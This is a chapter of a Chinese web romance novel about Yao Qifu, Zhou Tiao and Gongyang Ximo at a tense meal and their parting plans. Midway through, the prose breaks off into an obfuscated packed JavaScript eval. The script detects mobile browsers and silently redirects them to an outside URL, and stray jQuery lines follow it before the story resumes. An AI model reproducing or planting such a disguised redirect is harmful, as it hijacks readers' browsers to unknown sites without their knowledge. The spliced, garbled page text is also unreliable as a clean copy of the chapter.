30. 割舍

作品:《捏个泥人送给你

    姚七福垂着的头,因他的这句话,缓缓抬起,与他对视上。


    这是一双自带凌厉之气的眼睛,他的笑好像永远不达眼底。


    瞥了一眼,姚七福便放下了,轻轻地吐了口气。


    既然他想让二人的界限彻底划清,那就随他愿吧。


    这样也好,他们二人从此,就没有任何的关系了。


    “好。”


    周迢却还未反应过来,他不想承认,他的心,在对上姚七福的目光时,跳动频率十分异常。


    砰砰砰。


    与他往常的平稳一点也不一样。


    然,他看到姚七福的眼睛,仍旧平淡如水,好像他也不是什么很特别的人。


    可昨日,她在看见他时,眼里的惊喜不是假象。


    为何就过了一晚,看向他的眼神,仿佛变了一个人似的。


    还有,他的心,为何在意识到这点时,会有那么一点点地胀痛?


    好像有什么东西,在他没注意的时候,开始悄然发生变化。


    周迢不喜欢这种感觉,对于抓不住的东西,他一向是洒脱地摒弃。


    所以,面对姚七福,也要这样吗?他的眼底浮现出许久未见的迷茫。


    但,只是一瞬间的迷茫,他完美便将其地压了下去。


    没有什么东西可以成为他的例外,姚七福自然也,不可以。


    这么想来,周迢的思绪没有那么乱了。


    再度掀开眼皮看向姚七福时,他已经重新戴好面具。


    这样也好,他眼下有更重要的事情要做,之前答应过她,不然让她有置于危险之中。


    那么今日就断个干净,往后应该就不会有牵连了吧。


    姚七福看周迢半天没动作,也不着急,静静地站着,任由周迢的目光在她的身上打量。


    经过昨晚的自我分析,她现在已经清晰地认知到自己和他的差距,没有了期待与妄想,便就不会紧张与羞涩。


    伸在荷包里的手,被轻轻地拍了拍,仿佛是在安慰她。


    姚七福扬了扬唇,知道虚珥是醒了,也得知了她的情绪。回碰她一下,以示她很好。


    周迢将她的小动作收入眼底,视线下移至她胯间的小荷包,已经微微泛白。


    这么舍不得吗?都这样了还不舍得扔,看来送荷包之人,对她真的挺重要的。


    周迢有些许嫉妒,他知道自己的情绪来得莫名巧妙,但心里就是不舒服,他想象不到,姚七福这样一个面对什么都淡然的人,有一天也会真挚地将一个对她而言重要的人,捧在心尖上。


    明明是最舒适的阳春三月,他却感觉一下子到了三伏天,空气燥热得让他感到窒息。


    收回视线,缓了缓心神才说,“你想去哪儿吃?”


    姚七福也没打算与他客气,直接说,“城南街的好食铺。”


    回答得如此迅速,想来是一早就想好拜完佛,就去吃的吧。


    胸口的闷气霎然消失,周迢再次微微弯膝,笑着看向她,“可以!任你点,我请客。”


    姚七福点点头,便要绕过他离开,周迢本能地跟上。


    蓦然,他想起来什么,扭头看去,望见公羊熹寞还站在那里,呆呆地看向他们。


    “阿福,你等我一下,我很快回来”


    姚七福顺着周迢的视线看去,明白过来。点了点头,站在原地,与荷包里的虚珥边玩手指游戏,边心里对话。


    虚珥:“阿福,你好厉害啊,说不喜欢一个人,就真的看到他心跳都正常了诶。”


    姚七福:“嗯?我昨天的心跳很不正常吗?”


    虚珥:“哪里只是很不正常啊?简直就不正常得难以描述。一会儿像是面临了洪水,整个人都被淹在了水里,一会儿又像是火山爆发,被火烤得全身滚烫滚烫的,一会儿好像到了春日,整个人如沐春风。”


    姚七福被她的比喻逗笑,“你这都是什么跟什么呀。哪儿有那么夸张。”


    虚珥:“有的有的,所以我昨天才那么紧张你嘛。头一次经历这种感觉,吓坏我了都。”


    姚七福:“对不起,我保证我以后情绪肯定稳定。”


    虚珥:“那也不用。诶,不过,阿福,这种感觉是不是就是你写的话本子里说的那个词,心动?”


    听到最后两个字,姚七福的心不由得一颤,恰巧彼时周迢正向她走来,逆着的光,给他镀上了一层金色的光圈,美得姚七福不敢再看第二眼。


    荷包里感受到姚七福再次剧烈心动的虚珥:“阿福,你说话不算话哟。”刚才还发誓自己不会心动了呢,结果这才过了多久?阿福真是自己打自己的脸啊。


    姚七福没回应她,因为要斩断一份情义,她的嘴巴是同意了,可她的心,还没同意啊。


    想起来在现代听过的一首歌曲:虽然很努力,练习着忘记;


    我的心却还没答应可以放弃了你。①


    周迢,我一时半会儿可能真的无法割舍下这段本就不该存在的感情,但我会努力再努力,让它深埋于我的内心深处,无人可以窥探到,哪怕是我自己,也不会发现。


    听到这段话的虚珥,浑身一震,而后缓缓反应过来,感情真的是个麻烦而又不由己的东西啊。


    待周迢带着公羊熹寞走到姚七福面前时,她已经平复好了情绪。


    姚七福与公羊熹寞同坐在马车里,周迢在骑马。


    关系有些微妙的两人,在密闭的空间里,连气氛都变得古怪起来。


    姚七福尽量不去在意这份古怪,陪虚珥玩来分散注意力。


    “阿福,我有时候,还真挺羡慕你的。”


    突如其来的对话,让姚七福有些措手不及。


    羡慕她?羡慕她什么?自由吗?除了这一点,姚七福想不到还有什么值得,公羊熹寞这为身份尊贵的宰相之女可羡慕的。


    “我羡慕你的坦诚,羡慕你的洒脱,羡慕你可以做自己,而不去在意其他人的看法。”


    公羊熹寞这说的真的是她吗?连姚七福自己都不知道自己在她的眼里,有这么多的优点。


    “你并不是很了解我,又怎么知道我的苦恼与不易呢。”姚七福嘴角挂着一抹淡淡的笑意,看向这位正直青春年华美丽的女子,“每个活在世上的人,都有独属于他们的不易,我们可以称之为磨难。不说不表现出来的人,不代表他们没有遇到磨难,或许他们只是善于伪装,又或者他们是找不到倾诉的人。”


    公羊寂寞撩起眼皮,看向姚七福,盯着这张清秀的脸庞许久,微笑着说:“阿福,你知道吗?你的身上真的有种让人心安的魔力。”


    姚七福没有应答,她不知道公羊熹寞与她说这些,是为何?但如果压抑太久了,需要找个人倾诉倾诉的话,她确实是个不错的倾听者。


    后面的一路上,两人都没再说话,姚七福曾偷偷地瞄过公羊熹寞,发现她面色不太好看,整个人的气质,与曾经的白氏布行绣工莫春相比,大相径庭。


    莫春是阳光的,整日嘻嘻哈哈,像个不会被任何事情打倒的小太阳。


    而公羊熹寞,则像是独挂于云端的月亮,清冷孤傲,让人难以靠近。


    现在的公羊熹寞身上,看不到一点儿曾经小太阳莫春的影子。


    姚七福感到有些凄凉,她的衣服和装饰确实是比从前华丽了,身份也变得无比尊贵。


    可是,获得这一切的代价,却是失去自由与快乐。


    莫春就像是一只曾经在无边无际的空中,飞翔的鸟儿,虽然风餐露宿,但是过得随心所欲,日子有盼头。


    可现在的公羊熹寞,更像是一只住在了镶金的笼子的鸟,被痛苦地折断了翅膀,再也无法自由自在地翱翔于天际。


    姚七福收回视线,就像她说的,每个人有每个人的苦难,这是人生的必修课,必经路,无法舍弃,唯有迎难而上。


    良久,摇摇晃晃的马车终于停了,姚七福咽了咽口气。


    她今日再次发现了一个问题,她是真的晕马车。


    公羊熹寞的马车是密闭式的,窗户不是布帘掀开的,而是一个小窗户。一路上,公羊熹寞都没开窗,姚七福身为客人,又不好替,马车一摇一晃的,差点没把她昨晚喝的粥,给恶心出来。


    终于,马车停了,苦难结束了。


    公羊熹寞发现姚七福脸色难看,询问,“怎么了?身子不适吗?”


    姚七福摆摆手,“无大碍,”深深地呼了口气,将卡在喉咙处的恶心强压下,“走吧。”


    下了马车,猛吸了好几口新鲜的空气,姚七福才感觉好受点。


    荷包里的虚珥感受到了她的难受,关怀地问道:“要不要先去喝点水?”


    姚七福摇摇头,她被邀请吃饭的,还是得听从周迢的安排,“我好多了,放心。”


    将马匹和马车停好后,周迢看向姚七福,发现她的脸色比在寺庙时,要难看上许多,便上前问道:“怎么了这是?”


    姚七福仍旧摇摇头,看了看公羊熹寞,敏锐地捕捉到她眼底的失落。


    这一次,姚七福好像顿悟了什么。


    收回视线后,与周迢拉开了些距离,等公羊熹寞走进后,才对周迢说,“我没事。”


    周迢自然是看出了她的行为,呵,这是在干什么?避嫌吗?


    心里再次浮起躁意,感觉姚七福就像是一块冰,捂不热。


    既是如此,他周迢也不会热脸贴冷屁股。


    于是,负气地走到前头,佯装不再在意。


    公羊熹寞感受到周迢与姚七福之间气氛的变化,转头看向姚七福,却见她仍旧一脸的淡然。


    察觉到她的视线后,嘴角轻勾,“走吧。”


    公羊熹寞也笑了笑回应她,与姚七福一起迈进铺子。


    这间铺子,面积不大,装饰也不华丽,没有像其他酒楼那样布有假山水廊奢华的装饰,反而简简单单,只有桌子和椅子,却也有一份朴素之美。


    所以,这里的顾客也很多,人人都在聊天吃饭,十分有烟火气息。


    周迢打量一番,发现此处并未设有雅间,唤来小二,问有没有空置的偏僻角落。


    原因无他,他只是知道姚七福喜欢安静,吃饭的时候肯定不喜欢被人围观。


    小二闻言,便带领三人到二楼的靠窗处,这是个极佳的位置,可以看到街道上的人流,以及不远处的杨柳河畔。


    在回答小二需要点什么菜前,周迢先看了眼姚七福,看她一直撇着头,看向窗外,一副事不关己,任由安排的姿态。


    心里冷哼一声,再次告诫自己不再看她,“你们有什么想吃的吗?”


    公羊熹寞摇摇头,看向周迢挂起一抹乖巧的笑,“你看着点就好。”


    周迢点点头,用余光瞥向姚七福,就见她终于舍得摆正头,柔声说道:“我想要一份香辣脆皮鸡。”


    原来她喜欢吃辣的,周迢默默点头记下。然后又点了几道比较清淡的菜,符合公羊熹寞的胃口。


    公羊熹寞注意到他的体贴,不禁低头,眼底染上抹自嘲。


    他总是这样,在她快要放弃的时候,又给她希望,让她产生她对于他而言是独特的错觉。


    定下菜后,三人都没有再说话,周迢给她们两个倒了杯茶水,先给公羊熹寞,然后再盯着姚七福,将茶盏递到她面前。


    姚七福没有抬头,十分谨慎地避开周迢的指尖,小心翼翼地接过,放在一边,没有动。


    周迢见此举,眼底染上几分怒意,已经要与他避嫌至此了吗?


    为何突然要这般避嫌?是因为那个送荷包的人吗?


    想到此,周迢举起茶盏,用杯子微微遮挡住视线,看向姚七福侧过头的右脸,他自己都没察觉到,他看向她的眼神,带上了侵略性。


    公羊熹寞黯然地举杯轻轻抿了抿,而后也撇过头,眼不见,心便就不烦了。


    三人各怀着心思,幸好,这家店子上菜的速度很快。


    有了菜,再尴尬的气氛也会缓解很多,在动筷前,姚七福看向二人,“我可以放一个泥塑在桌面上吗?”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232866|136663||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    公羊熹寞知道泥塑对姚七福的重要性,以为这是她的小习惯,自然没有异议。


    剩下周迢,姚七福看向他,可周迢好像故意气她一样,撇着头看向窗外,连个余光都不给她。


    姚七福翻了个白眼,不打算理他,直接将虚珥从荷包里掏出来,轻柔地放在桌上。


    因着香辣脆皮鸡是姚七福点的,所以上菜的时候,特意放在了她的跟前。所以虚珥离心心念念的香辣脆皮鸡很近很近。奈何乘放的碟子有些高,虚珥由此扁了扁嘴,可怜兮兮地看向姚七福。


    姚七福看向对面好像都没有动筷意思的两人,清了清嗓,说道,“我有些饿了,可以开吃了吗?”


    这其实有些不礼貌,尤其是在极为讲究礼仪的古人眼中。


    好在,周迢和公羊熹寞都不是十分注重这一块的人,在听见她说饿了时,周迢转过头,与她对视上,挑挑眉,“那就吃吧。”


    姚七福悄悄舒出一口气,夹了几块鸡,佯装吃了几口,其实根本没碰着,随即便放在了虚珥的旁边。


    在她眼里,虚珥开心得手舞足蹈,可落在周迢眼中,就会发现一姚七福在对着一个泥塑憨笑。


    虽然他承认,这个泥塑很漂亮,尤其是那一双墨绿色加琥珀色的异瞳,格外地吸睛。


    可是,这也不至于让姚七福把吃的都放在她的手边吧,还对着她笑。


    思来想去,周迢觉得只有一个原因。


    那就是,这个泥塑与送她荷包的人是同一个。


    这个认知让他有些心堵,姚七福怕不是真的找到了一个与她一样爱好泥塑,且极其会捏塑的人。


    这是件开心的事吧?毕竟经过他的调查,梁伯一行人不知何缘故,早已离开了泥馆。眼下,泥馆只有她小女子一人。


    有一个与她兴趣相投的人,多好啊,她身边有个男子,也能保证些她的安全。


    嗯,是件好事。


    只是,他不是很开心。


    一顿饭,三人都食得索然无味。


    姚七因为晕车,胃口不佳,一顿放下来,夹了大半的脆皮鸡都给了虚珥,自己只吃了一两块,饭也没吃几口。


    公羊熹寞则是心里对周迢的感情,让她很是纠结。她想过放弃,但是周围的人都不允许她这么做。


    周迢呢,则是意识到姚七福的身边有了人的相陪,心里有种嫉妒的无力感。


    约摸未时一刻,三人终于踏出了铺子。


    姚七福想就此告辞,她刚吃过饭,更经不起马车的颠簸了。


    “多谢,那我就先走了。”


    周迢张了张嘴,没着急应答。心里的天平左右摇摆不定,半晌,他闭了闭眼,点点头,“没事,路上小心。”


    姚七福点头应下,而后转身离开了。


    公羊熹寞看着始终在注视姚七福远去背影的周迢,直到姚七福的身影彻底湮没在人群中后,他才缓缓收回视线。


    “你为何不去送她?”


    周迢看向公羊熹寞,假笑面具让人猜不透他的真实想法,他已经学会将真实情绪掩藏,不让任何人知晓。


    “我答应过相国,会一直守着你的安危。”


    所以,只是这样吗?


    公羊熹寞真的想直接挑明她忍受不了这样的关系,她希望周迢可以直接拒绝她,而不是一边顾忌她父亲的权势,一边考虑她对他的恩情。


    “其实,你不用这样的。”暖阳照射到她身上,公羊熹寞却感受不到一点儿暖意,只觉得无比地寒冷。


    “什么?”周迢不知是真的不解,还是习惯了假装。


    “你就算不对我好,我父亲也定会全力扶持你。”


    周迢微微敛起嘴角的笑意,没有置身处地位于官场的人,又怎么会明白,承诺是一文不值的。


    而且,他对公羊熹寞好,不仅仅是因为她父亲的权势,还有她当初因为救他,而落下的永远无法生育的病根。


    “熹寞,我对你好,不仅是因为你父亲,还有……”


    “那你喜欢我吗?”公羊熹寞仰起头,头一回直直地对上周迢的视线,“或者说,你想娶我吗?”她今日下定了决定,要给这段关系结局。


    她知道他不喜欢她,所以,她想要他知难而退。


    良久,久到周围都有人停留观望他们,公羊熹寞心底松了口气,至少周迢是有底线的,“走吧,我……”


    “如果你希望的话,我,”周迢压下脑海中的那抹倩影,想要得到一样东西,势必要放弃一样同等重要之物,鱼和熊掌不可兼得,他又怎么敢再妄想,“可以!”


    而且姚七福本就该是干净的,孤傲的,不该被他染上淤泥,从而变得肮脏。


    公羊熹寞难以置信地看向他,他真的连婚姻大事都可以作为筹码吗?


    呵,心里一阵绞痛。


    是了,他生于会吃人的皇家,婚姻大事向来不由主。


    似乎愈是地位高的人,拥有的自由就愈少。


    那么,为何还是那么多人想要这一份有桎梏呢?


    对于得不到的东西,人都是充满了无限的向往。


    公羊熹寞疲惫地合上双眼,“我在京城待泛了,想回龙云。”


    龙云是公羊氏的老家,她因为是女子,从小在那里长大。


    那里没有京城繁华,却十分闲静,是个养病的好地方。


    周迢点点头,“好,我陪你回去。”


    公羊熹寞张了张唇,想说自己不需要,但转念一想,她人言轻微,便不再多说,任由周迢去了。


    另一边,姚七福刚回到泥馆,便看见门口站有一个人,神情焦灼地踱步来踱步去。


    “柏闵肖,你找我?”


    柏闵肖等了一上午,终于等到姚七福回来了,立马急不可耐地迎上去,“七福,你陪我去一趟龙云吧。”


    龙云?这是什么地方?而且为何要她陪他去?


    然,接下来柏闵肖的话,让她决定即刻启程。


    “我在龙云打探到了张伯女儿的消息。”